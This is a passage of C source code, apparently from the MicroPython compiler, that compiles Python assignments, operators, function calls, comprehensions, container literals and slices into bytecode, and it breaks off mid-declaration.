MP_BINARY_OP_INPLACE_OR; break;\n                case MP_TOKEN_DEL_CARET_EQUAL: op = MP_BINARY_OP_INPLACE_XOR; break;\n                case MP_TOKEN_DEL_AMPERSAND_EQUAL: op = MP_BINARY_OP_INPLACE_AND; break;\n                case MP_TOKEN_DEL_DBL_LESS_EQUAL: op = MP_BINARY_OP_INPLACE_LSHIFT; break;\n                case MP_TOKEN_DEL_DBL_MORE_EQUAL: op = MP_BINARY_OP_INPLACE_RSHIFT; break;\n                case MP_TOKEN_DEL_PLUS_EQUAL: op = MP_BINARY_OP_INPLACE_ADD; break;\n                case MP_TOKEN_DEL_MINUS_EQUAL: op = MP_BINARY_OP_INPLACE_SUBTRACT; break;\n                case MP_TOKEN_DEL_STAR_EQUAL: op = MP_BINARY_OP_INPLACE_MULTIPLY; break;\n                case MP_TOKEN_DEL_DBL_SLASH_EQUAL: op = MP_BINARY_OP_INPLACE_FLOOR_DIVIDE; break;\n                case MP_TOKEN_DEL_SLASH_EQUAL: op = MP_BINARY_OP_INPLACE_TRUE_DIVIDE; break;\n                case MP_TOKEN_DEL_PERCENT_EQUAL: op = MP_BINARY_OP_INPLACE_MODULO; break;\n                case MP_TOKEN_DEL_DBL_STAR_EQUAL: default: op = MP_BINARY_OP_INPLACE_POWER; break;\n            }\n            EMIT_ARG(binary_op, op);\n            c_assign(comp, pns->nodes[0], ASSIGN_AUG_STORE); // lhs store for aug assign\n        } else if (kind == PN_expr_stmt_assign_list) {\n            int rhs = MP_PARSE_NODE_STRUCT_NUM_NODES(pns1) - 1;\n            compile_node(comp, pns1->nodes[rhs]); // rhs\n            // following CPython, we store left-most first\n            if (rhs > 0) {\n                EMIT(dup_top);\n            }\n            c_assign(comp, pns->nodes[0], ASSIGN_STORE); // lhs store\n            for (int i = 0; i < rhs; i++) {\n                if (i + 1 < rhs) {\n                    EMIT(dup_top);\n                }\n                c_assign(comp, pns1->nodes[i], ASSIGN_STORE); // middle store\n            }\n        } else {\n        plain_assign:\n            if (MICROPY_COMP_DOUBLE_TUPLE_ASSIGN\n                && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_testlist_star_expr)\n                && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_star_expr)\n                && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[1]) == 2\n                && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[0]) == 2) {\n                // optimisation for a, b = c, d\n                mp_parse_node_struct_t *pns10 = (mp_parse_node_struct_t*)pns->nodes[1];\n                mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0];\n                if (MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[0], PN_star_expr)\n                    || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[1], PN_star_expr)) {\n                    // can't optimise when it's a star expression on the lhs\n                    goto no_optimisation;\n                }\n                compile_node(comp, pns10->nodes[0]); // rhs\n                compile_node(comp, pns10->nodes[1]); // rhs\n                EMIT(rot_two);\n                c_assign(comp, pns0->nodes[0], ASSIGN_STORE); // lhs store\n                c_assign(comp, pns0->nodes[1], ASSIGN_STORE); // lhs store\n            } else if (MICROPY_COMP_TRIPLE_TUPLE_ASSIGN\n                && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_testlist_star_expr)\n                && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_star_expr)\n                && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[1]) == 3\n                && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[0]) == 3) {\n                // optimisation for a, b, c = d, e, f\n                mp_parse_node_struct_t *pns10 = (mp_parse_node_struct_t*)pns->nodes[1];\n                mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0];\n                if (MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[0], PN_star_expr)\n                    || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[1], PN_star_expr)\n                    || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[2], PN_star_expr)) {\n                    // can't optimise when it's a star expression on the lhs\n                    goto no_optimisation;\n                }\n                compile_node(comp, pns10->nodes[0]); // rhs\n                compile_node(comp, pns10->nodes[1]); // rhs\n                compile_node(comp, pns10->nodes[2]); // rhs\n                EMIT(rot_three);\n                EMIT(rot_two);\n                c_assign(comp, pns0->nodes[0], ASSIGN_STORE); // lhs store\n                c_assign(comp, pns0->nodes[1], ASSIGN_STORE); // lhs store\n                c_assign(comp, pns0->nodes[2], ASSIGN_STORE); // lhs store\n            } else {\n                no_optimisation:\n                compile_node(comp, pns->nodes[1]); // rhs\n                c_assign(comp, pns->nodes[0], ASSIGN_STORE); // lhs store\n            }\n        }\n    } else {\n        goto plain_assign;\n    }\n}\n\nSTATIC void c_binary_op(compiler_t *comp, mp_parse_node_struct_t *pns, mp_binary_op_t binary_op) {\n    int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n    compile_node(comp, pns->nodes[0]);\n    for (int i = 1; i < num_nodes; i += 1) {\n        compile_node(comp, pns->nodes[i]);\n        EMIT_ARG(binary_op, binary_op);\n    }\n}\n\nSTATIC void compile_test_if_expr(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_test_if_else));\n    mp_parse_node_struct_t *pns_test_if_else = (mp_parse_node_struct_t*)pns->nodes[1];\n\n    uint l_fail = comp_next_label(comp);\n    uint l_end = comp_next_label(comp);\n    c_if_cond(comp, pns_test_if_else->nodes[0], false, l_fail); // condition\n    compile_node(comp, pns->nodes[0]); // success value\n    EMIT_ARG(jump, l_end);\n    EMIT_ARG(label_assign, l_fail);\n    EMIT_ARG(adjust_stack_size, -1); // adjust stack size\n    compile_node(comp, pns_test_if_else->nodes[1]); // failure value\n    EMIT_ARG(label_assign, l_end);\n}\n\nSTATIC void compile_lambdef(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        // create a new scope for this lambda\n        scope_t *s = scope_new_and_link(comp, SCOPE_LAMBDA, (mp_parse_node_t)pns, comp->scope_cur->emit_options);\n        // store the lambda scope so the compiling function (this one) can use it at each pass\n        pns->nodes[2] = (mp_parse_node_t)s;\n    }\n\n    // get the scope for this lambda\n    scope_t *this_scope = (scope_t*)pns->nodes[2];\n\n    // compile the lambda definition\n    compile_funcdef_lambdef(comp, this_scope, pns->nodes[0], PN_varargslist);\n}\n\nSTATIC void compile_or_and_test(compiler_t *comp, mp_parse_node_struct_t *pns, bool cond) {\n    uint l_end = comp_next_label(comp);\n    int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n    for (int i = 0; i < n; i += 1) {\n        compile_node(comp, pns->nodes[i]);\n        if (i + 1 < n) {\n            EMIT_ARG(jump_if_or_pop, cond, l_end);\n        }\n    }\n    EMIT_ARG(label_assign, l_end);\n}\n\nSTATIC void compile_or_test(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    compile_or_and_test(comp, pns, true);\n}\n\nSTATIC void compile_and_test(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    compile_or_and_test(comp, pns, false);\n}\n\nSTATIC void compile_not_test_2(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    compile_node(comp, pns->nodes[0]);\n    EMIT_ARG(unary_op, MP_UNARY_OP_NOT);\n}\n\nSTATIC void compile_comparison(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n    compile_node(comp, pns->nodes[0]);\n    bool multi = (num_nodes > 3);\n    uint l_fail = 0;\n    if (multi) {\n        l_fail = comp_next_label(comp);\n    }\n    for (int i = 1; i + 1 < num_nodes; i += 2) {\n        compile_node(comp, pns->nodes[i + 1]);\n        if (i + 2 < num_nodes) {\n            EMIT(dup_top);\n            EMIT(rot_three);\n        }\n        if (MP_PARSE_NODE_IS_TOKEN(pns->nodes[i])) {\n            mp_binary_op_t op;\n            switch (MP_PARSE_NODE_LEAF_ARG(pns->nodes[i])) {\n                case MP_TOKEN_OP_LESS: op = MP_BINARY_OP_LESS; break;\n                case MP_TOKEN_OP_MORE: op = MP_BINARY_OP_MORE; break;\n                case MP_TOKEN_OP_DBL_EQUAL: op = MP_BINARY_OP_EQUAL; break;\n                case MP_TOKEN_OP_LESS_EQUAL: op = MP_BINARY_OP_LESS_EQUAL; break;\n                case MP_TOKEN_OP_MORE_EQUAL: op = MP_BINARY_OP_MORE_EQUAL; break;\n                case MP_TOKEN_OP_NOT_EQUAL: op = MP_BINARY_OP_NOT_EQUAL; break;\n                case MP_TOKEN_KW_IN: default: op = MP_BINARY_OP_IN; break;\n            }\n            EMIT_ARG(binary_op, op);\n        } else {\n            assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[i])); // should be\n            mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[i];\n            int kind = MP_PARSE_NODE_STRUCT_KIND(pns2);\n            if (kind == PN_comp_op_not_in) {\n                EMIT_ARG(binary_op, MP_BINARY_OP_NOT_IN);\n            } else {\n                assert(kind == PN_comp_op_is); // should be\n                if (MP_PARSE_NODE_IS_NULL(pns2->nodes[0])) {\n                    EMIT_ARG(binary_op, MP_BINARY_OP_IS);\n                } else {\n                    EMIT_ARG(binary_op, MP_BINARY_OP_IS_NOT);\n                }\n            }\n        }\n        if (i + 2 < num_nodes) {\n            EMIT_ARG(jump_if_or_pop, false, l_fail);\n        }\n    }\n    if (multi) {\n        uint l_end = comp_next_label(comp);\n        EMIT_ARG(jump, l_end);\n        EMIT_ARG(label_assign, l_fail);\n        EMIT_ARG(adjust_stack_size, 1);\n        EMIT(rot_two);\n        EMIT(pop_top);\n        EMIT_ARG(label_assign, l_end);\n    }\n}\n\nSTATIC void compile_star_expr(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    compile_syntax_error(comp, (mp_parse_node_t)pns, \"*x must be assignment target\");\n}\n\nSTATIC void compile_expr(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    c_binary_op(comp, pns, MP_BINARY_OP_OR);\n}\n\nSTATIC void compile_xor_expr(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    c_binary_op(comp, pns, MP_BINARY_OP_XOR);\n}\n\nSTATIC void compile_and_expr(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    c_binary_op(comp, pns, MP_BINARY_OP_AND);\n}\n\nSTATIC void compile_term(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n    compile_node(comp, pns->nodes[0]);\n    for (int i = 1; i + 1 < num_nodes; i += 2) {\n        compile_node(comp, pns->nodes[i + 1]);\n        mp_binary_op_t op;\n        mp_token_kind_t tok = MP_PARSE_NODE_LEAF_ARG(pns->nodes[i]);\n        switch (tok) {\n            case MP_TOKEN_OP_PLUS:      op = MP_BINARY_OP_ADD; break;\n            case MP_TOKEN_OP_MINUS:     op = MP_BINARY_OP_SUBTRACT; break;\n            case MP_TOKEN_OP_STAR:      op = MP_BINARY_OP_MULTIPLY; break;\n            case MP_TOKEN_OP_DBL_SLASH: op = MP_BINARY_OP_FLOOR_DIVIDE; break;\n            case MP_TOKEN_OP_SLASH:     op = MP_BINARY_OP_TRUE_DIVIDE; break;\n            case MP_TOKEN_OP_PERCENT:   op = MP_BINARY_OP_MODULO; break;\n            case MP_TOKEN_OP_DBL_LESS:  op = MP_BINARY_OP_LSHIFT; break;\n            default:\n                assert(tok == MP_TOKEN_OP_DBL_MORE);\n                op = MP_BINARY_OP_RSHIFT;\n                break;\n        }\n        EMIT_ARG(binary_op, op);\n    }\n}\n\nSTATIC void compile_factor_2(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    compile_node(comp, pns->nodes[1]);\n    mp_unary_op_t op;\n    mp_token_kind_t tok = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]);\n    switch (tok) {\n        case MP_TOKEN_OP_PLUS:  op = MP_UNARY_OP_POSITIVE; break;\n        case MP_TOKEN_OP_MINUS: op = MP_UNARY_OP_NEGATIVE; break;\n        default:\n            assert(tok == MP_TOKEN_OP_TILDE);\n            op = MP_UNARY_OP_INVERT;\n            break;\n    }\n    EMIT_ARG(unary_op, op);\n}\n\nSTATIC void compile_atom_expr_normal(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // compile the subject of the expression\n    compile_node(comp, pns->nodes[0]);\n\n    // compile_atom_expr_await may call us with a NULL node\n    if (MP_PARSE_NODE_IS_NULL(pns->nodes[1])) {\n        return;\n    }\n\n    // get the array of trailers (known to be an array of PARSE_NODE_STRUCT)\n    size_t num_trail = 1;\n    mp_parse_node_struct_t **pns_trail = (mp_parse_node_struct_t**)&pns->nodes[1];\n    if (MP_PARSE_NODE_STRUCT_KIND(pns_trail[0]) == PN_atom_expr_trailers) {\n        num_trail = MP_PARSE_NODE_STRUCT_NUM_NODES(pns_trail[0]);\n        pns_trail = (mp_parse_node_struct_t**)&pns_trail[0]->nodes[0];\n    }\n\n    // the current index into the array of trailers\n    size_t i = 0;\n\n    // handle special super() call\n    if (comp->scope_cur->kind == SCOPE_FUNCTION\n        && MP_PARSE_NODE_IS_ID(pns->nodes[0])\n        && MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]) == MP_QSTR_super\n        && MP_PARSE_NODE_STRUCT_KIND(pns_trail[0]) == PN_trailer_paren\n        && MP_PARSE_NODE_IS_NULL(pns_trail[0]->nodes[0])) {\n        // at this point we have matched \"super()\" within a function\n\n        // load the class for super to search for a parent\n        compile_load_id(comp, MP_QSTR___class__);\n\n        // look for first argument to function (assumes it's \"self\")\n        bool found = false;\n        id_info_t *id = &comp->scope_cur->id_info[0];\n        for (size_t n = comp->scope_cur->id_info_len; n > 0; --n, ++id) {\n            if (id->flags & ID_FLAG_IS_PARAM) {\n                // first argument found; load it\n                compile_load_id(comp, id->qst);\n                found = true;\n                break;\n            }\n        }\n        if (!found) {\n            compile_syntax_error(comp, (mp_parse_node_t)pns_trail[0],\n                \"super() can't find self\"); // really a TypeError\n            return;\n        }\n\n        if (num_trail >= 3\n            && MP_PARSE_NODE_STRUCT_KIND(pns_trail[1]) == PN_trailer_period\n            && MP_PARSE_NODE_STRUCT_KIND(pns_trail[2]) == PN_trailer_paren) {\n            // optimisation for method calls super().f(...), to eliminate heap allocation\n            mp_parse_node_struct_t *pns_period = pns_trail[1];\n            mp_parse_node_struct_t *pns_paren = pns_trail[2];\n            EMIT_ARG(load_method, MP_PARSE_NODE_LEAF_ARG(pns_period->nodes[0]), true);\n            compile_trailer_paren_helper(comp, pns_paren->nodes[0], true, 0);\n            i = 3;\n        } else {\n            // a super() call\n            EMIT_ARG(call_function, 2, 0, 0);\n            i = 1;\n        }\n    }\n\n    // compile the remaining trailers\n    for (; i < num_trail; i++) {\n        if (i + 1 < num_trail\n            && MP_PARSE_NODE_STRUCT_KIND(pns_trail[i]) == PN_trailer_period\n            && MP_PARSE_NODE_STRUCT_KIND(pns_trail[i + 1]) == PN_trailer_paren) {\n            // optimisation for method calls a.f(...), following PyPy\n            mp_parse_node_struct_t *pns_period = pns_trail[i];\n            mp_parse_node_struct_t *pns_paren = pns_trail[i + 1];\n            EMIT_ARG(load_method, MP_PARSE_NODE_LEAF_ARG(pns_period->nodes[0]), false);\n            compile_trailer_paren_helper(comp, pns_paren->nodes[0], true, 0);\n            i += 1;\n        } else {\n            // node is one of: trailer_paren, trailer_bracket, trailer_period\n            compile_node(comp, (mp_parse_node_t)pns_trail[i]);\n        }\n    }\n}\n\nSTATIC void compile_power(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    compile_generic_all_nodes(comp, pns); // 2 nodes, arguments of power\n    EMIT_ARG(binary_op, MP_BINARY_OP_POWER);\n}\n\nSTATIC void compile_trailer_paren_helper(compiler_t *comp, mp_parse_node_t pn_arglist, bool is_method_call, int n_positional_extra) {\n    // function to call is on top of stack\n\n    // get the list of arguments\n    mp_parse_node_t *args;\n    int n_args = mp_parse_node_extract_list(&pn_arglist, PN_arglist, &args);\n\n    // compile the arguments\n    // Rather than calling compile_node on the list, we go through the list of args\n    // explicitly here so that we can count the number of arguments and give sensible\n    // error messages.\n    int n_positional = n_positional_extra;\n    uint n_keyword = 0;\n    uint star_flags = 0;\n    mp_parse_node_struct_t *star_args_node = NULL, *dblstar_args_node = NULL;\n    for (int i = 0; i < n_args; i++) {\n        if (MP_PARSE_NODE_IS_STRUCT(args[i])) {\n            mp_parse_node_struct_t *pns_arg = (mp_parse_node_struct_t*)args[i];\n            if (MP_PARSE_NODE_STRUCT_KIND(pns_arg) == PN_arglist_star) {\n                if (star_flags & MP_EMIT_STAR_FLAG_SINGLE) {\n                    compile_syntax_error(comp, (mp_parse_node_t)pns_arg, \"can't have multiple *x\");\n                    return;\n                }\n                star_flags |= MP_EMIT_STAR_FLAG_SINGLE;\n                star_args_node = pns_arg;\n            } else if (MP_PARSE_NODE_STRUCT_KIND(pns_arg) == PN_arglist_dbl_star) {\n                if (star_flags & MP_EMIT_STAR_FLAG_DOUBLE) {\n                    compile_syntax_error(comp, (mp_parse_node_t)pns_arg, \"can't have multiple **x\");\n                    return;\n                }\n                star_flags |= MP_EMIT_STAR_FLAG_DOUBLE;\n                dblstar_args_node = pns_arg;\n            } else if (MP_PARSE_NODE_STRUCT_KIND(pns_arg) == PN_argument) {\n                if (!MP_PARSE_NODE_IS_STRUCT_KIND(pns_arg->nodes[1], PN_comp_for)) {\n                    if (!MP_PARSE_NODE_IS_ID(pns_arg->nodes[0])) {\n                        compile_syntax_error(comp, (mp_parse_node_t)pns_arg, \"LHS of keyword arg must be an id\");\n                        return;\n                    }\n                    EMIT_ARG(load_const_str, MP_PARSE_NODE_LEAF_ARG(pns_arg->nodes[0]));\n                    compile_node(comp, pns_arg->nodes[1]);\n                    n_keyword += 1;\n                } else {\n                    compile_comprehension(comp, pns_arg, SCOPE_GEN_EXPR);\n                    n_positional++;\n                }\n            } else {\n                goto normal_argument;\n            }\n        } else {\n            normal_argument:\n            if (star_flags) {\n                compile_syntax_error(comp, args[i], \"non-keyword arg after */**\");\n                return;\n            }\n            if (n_keyword > 0) {\n                compile_syntax_error(comp, args[i], \"non-keyword arg after keyword arg\");\n                return;\n            }\n            compile_node(comp, args[i]);\n            n_positional++;\n        }\n    }\n\n    // compile the star/double-star arguments if we had them\n    // if we had one but not the other then we load \"null\" as a place holder\n    if (star_flags != 0) {\n        if (star_args_node == NULL) {\n            EMIT(load_null);\n        } else {\n            compile_node(comp, star_args_node->nodes[0]);\n        }\n        if (dblstar_args_node == NULL) {\n            EMIT(load_null);\n        } else {\n            compile_node(comp, dblstar_args_node->nodes[0]);\n        }\n    }\n\n    // emit the function/method call\n    if (is_method_call) {\n        EMIT_ARG(call_method, n_positional, n_keyword, star_flags);\n    } else {\n        EMIT_ARG(call_function, n_positional, n_keyword, star_flags);\n    }\n}\n\n// pns needs to have 2 nodes, first is lhs of comprehension, second is PN_comp_for node\nSTATIC void compile_comprehension(compiler_t *comp, mp_parse_node_struct_t *pns, scope_kind_t kind) {\n    assert(MP_PARSE_NODE_STRUCT_NUM_NODES(pns) == 2);\n    assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_comp_for));\n    mp_parse_node_struct_t *pns_comp_for = (mp_parse_node_struct_t*)pns->nodes[1];\n\n    if (comp->pass == MP_PASS_SCOPE) {\n        // create a new scope for this comprehension\n        scope_t *s = scope_new_and_link(comp, kind, (mp_parse_node_t)pns, comp->scope_cur->emit_options);\n        // store the comprehension scope so the compiling function (this one) can use it at each pass\n        pns_comp_for->nodes[3] = (mp_parse_node_t)s;\n    }\n\n    // get the scope for this comprehension\n    scope_t *this_scope = (scope_t*)pns_comp_for->nodes[3];\n\n    // compile the comprehension\n    close_over_variables_etc(comp, this_scope, 0, 0);\n\n    compile_node(comp, pns_comp_for->nodes[1]); // source of the iterator\n    if (kind == SCOPE_GEN_EXPR) {\n        EMIT_ARG(get_iter, false);\n    }\n    EMIT_ARG(call_function, 1, 0, 0);\n}\n\nSTATIC void compile_atom_paren(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n        // an empty tuple\n        c_tuple(comp, MP_PARSE_NODE_NULL, NULL);\n    } else {\n        assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp));\n        pns = (mp_parse_node_struct_t*)pns->nodes[0];\n        assert(!MP_PARSE_NODE_IS_NULL(pns->nodes[1]));\n        if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) {\n            mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[1];\n            if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_testlist_comp_3b) {\n                // tuple of one item, with trailing comma\n                assert(MP_PARSE_NODE_IS_NULL(pns2->nodes[0]));\n                c_tuple(comp, pns->nodes[0], NULL);\n            } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_testlist_comp_3c) {\n                // tuple of many items\n                c_tuple(comp, pns->nodes[0], pns2);\n            } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_comp_for) {\n                // generator expression\n                compile_comprehension(comp, pns, SCOPE_GEN_EXPR);\n            } else {\n                // tuple with 2 items\n                goto tuple_with_2_items;\n            }\n        } else {\n            // tuple with 2 items\n            tuple_with_2_items:\n            c_tuple(comp, MP_PARSE_NODE_NULL, pns);\n        }\n    }\n}\n\nSTATIC void compile_atom_bracket(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n        // empty list\n        EMIT_ARG(build_list, 0);\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp)) {\n        mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[0];\n        if (MP_PARSE_NODE_IS_STRUCT(pns2->nodes[1])) {\n            mp_parse_node_struct_t *pns3 = (mp_parse_node_struct_t*)pns2->nodes[1];\n            if (MP_PARSE_NODE_STRUCT_KIND(pns3) == PN_testlist_comp_3b) {\n                // list of one item, with trailing comma\n                assert(MP_PARSE_NODE_IS_NULL(pns3->nodes[0]));\n                compile_node(comp, pns2->nodes[0]);\n                EMIT_ARG(build_list, 1);\n            } else if (MP_PARSE_NODE_STRUCT_KIND(pns3) == PN_testlist_comp_3c) {\n                // list of many items\n                compile_node(comp, pns2->nodes[0]);\n                compile_generic_all_nodes(comp, pns3);\n                EMIT_ARG(build_list, 1 + MP_PARSE_NODE_STRUCT_NUM_NODES(pns3));\n            } else if (MP_PARSE_NODE_STRUCT_KIND(pns3) == PN_comp_for) {\n                // list comprehension\n                compile_comprehension(comp, pns2, SCOPE_LIST_COMP);\n            } else {\n                // list with 2 items\n                goto list_with_2_items;\n            }\n        } else {\n            // list with 2 items\n            list_with_2_items:\n            compile_node(comp, pns2->nodes[0]);\n            compile_node(comp, pns2->nodes[1]);\n            EMIT_ARG(build_list, 2);\n        }\n    } else {\n        // list with 1 item\n        compile_node(comp, pns->nodes[0]);\n        EMIT_ARG(build_list, 1);\n    }\n}\n\nSTATIC void compile_atom_brace(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    mp_parse_node_t pn = pns->nodes[0];\n    if (MP_PARSE_NODE_IS_NULL(pn)) {\n        // empty dict\n        EMIT_ARG(build_map, 0);\n    } else if (MP_PARSE_NODE_IS_STRUCT(pn)) {\n        pns = (mp_parse_node_struct_t*)pn;\n        if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_dictorsetmaker_item) {\n            // dict with one element\n            EMIT_ARG(build_map, 1);\n            compile_node(comp, pn);\n            EMIT(store_map);\n        } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_dictorsetmaker) {\n            assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])); // should succeed\n            mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1];\n            if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_dictorsetmaker_list) {\n                // dict/set with multiple elements\n\n                // get tail elements (2nd, 3rd, ...)\n                mp_parse_node_t *nodes;\n                int n = mp_parse_node_extract_list(&pns1->nodes[0], PN_dictorsetmaker_list2, &nodes);\n\n                // first element sets whether it's a dict or set\n                bool is_dict;\n                if (!MICROPY_PY_BUILTINS_SET || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_dictorsetmaker_item)) {\n                    // a dictionary\n                    EMIT_ARG(build_map, 1 + n);\n                    compile_node(comp, pns->nodes[0]);\n                    EMIT(store_map);\n                    is_dict = true;\n                } else {\n                    // a set\n                    compile_node(comp, pns->nodes[0]); // 1st value of set\n                    is_dict = false;\n                }\n\n                // process rest of elements\n                for (int i = 0; i < n; i++) {\n                    mp_parse_node_t pn_i = nodes[i];\n                    bool is_key_value = MP_PARSE_NODE_IS_STRUCT_KIND(pn_i, PN_dictorsetmaker_item);\n                    compile_node(comp, pn_i);\n                    if (is_dict) {\n                        if (!is_key_value) {\n                            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                                compile_syntax_error(comp, (mp_parse_node_t)pns, \"invalid syntax\");\n                            } else {\n                                compile_syntax_error(comp, (mp_parse_node_t)pns, \"expecting key:value for dict\");\n                            }\n                            return;\n                        }\n                        EMIT(store_map);\n                    } else {\n                        if (is_key_value) {\n                            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                                compile_syntax_error(comp, (mp_parse_node_t)pns, \"invalid syntax\");\n                            } else {\n                                compile_syntax_error(comp, (mp_parse_node_t)pns, \"expecting just a value for set\");\n                            }\n                            return;\n                        }\n                    }\n                }\n\n                #if MICROPY_PY_BUILTINS_SET\n                // if it's a set, build it\n                if (!is_dict) {\n                    EMIT_ARG(build_set, 1 + n);\n                }\n                #endif\n            } else {\n                assert(MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_comp_for); // should be\n                // dict/set comprehension\n                if (!MICROPY_PY_BUILTINS_SET || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_dictorsetmaker_item)) {\n                    // a dictionary comprehension\n                    compile_comprehension(comp, pns, SCOPE_DICT_COMP);\n                } else {\n                    // a set comprehension\n                    compile_comprehension(comp, pns, SCOPE_SET_COMP);\n                }\n            }\n        } else {\n            // set with one element\n            goto set_with_one_element;\n        }\n    } else {\n        // set with one element\n        set_with_one_element:\n        #if MICROPY_PY_BUILTINS_SET\n        compile_node(comp, pn);\n        EMIT_ARG(build_set, 1);\n        #else\n        assert(0);\n        #endif\n    }\n}\n\nSTATIC void compile_trailer_paren(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    compile_trailer_paren_helper(comp, pns->nodes[0], false, 0);\n}\n\nSTATIC void compile_trailer_bracket(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // object who's index we want is on top of stack\n    compile_node(comp, pns->nodes[0]); // the index\n    EMIT(load_subscr);\n}\n\nSTATIC void compile_trailer_period(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // object who's attribute we want is on top of stack\n    EMIT_ARG(load_attr, MP_PARSE_NODE_LEAF_ARG(pns->nodes[0])); // attribute to get\n}\n\n#if MICROPY_PY_BUILTINS_SLICE\nSTATIC void compile_subscript_3_helper(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_subscript_3); // should always be\n    mp_parse_node_t pn = pns->nodes[0];\n    if (MP_PARSE_NODE_IS_NULL(pn)) {\n        // [?:]\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        EMIT_ARG(build_slice, 2);\n    } else if (MP_PARSE_NODE_IS_STRUCT(pn)) {\n        pns = (mp_parse_node_struct_t*)pn;\n        if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_subscript_3c) {\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n            pn = pns->nodes[0];\n            if (MP_PARSE_NODE_IS_NULL(pn)) {\n                // [?::]\n                EMIT_ARG(build_slice, 2);\n            } else {\n                // [?::x]\n                compile_node(comp, pn);\n                EMIT_ARG(build_slice, 3);\n            }\n        } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_subscript_3d) {\n            compile_node(comp, pns->nodes[0]);\n            assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])); // should always be\n            pns = (mp_parse_node_struct_t*)pns->nodes[1];\n            assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_sliceop); // should always be\n            if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n                // [?:x:]\n                EMIT_ARG(build_slice, 2);\n            } else {\n                // [?:x:x]\n                compile_node(comp, pns->nodes[0]);\n                EMIT_ARG(build_slice, 3);\n            }\n        } else {\n            // [?:x]\n            compile_node(comp, pn);\n            EMIT_ARG(build_slice, 2);\n        }\n    } else {\n        // [?:x]\n        compile_node(comp, pn);\n        EMIT_ARG(build_slice, 2);\n    }\n}\n\nSTATIC void compile_subscript_2(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    compile_node(comp, pns->nodes[0]); // start of slice\n    assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])); // should always be\n    compile_subscript_3_helper(comp, (mp_parse_node_struct_t*)pns->nodes[1]);\n}\n\nSTATIC void 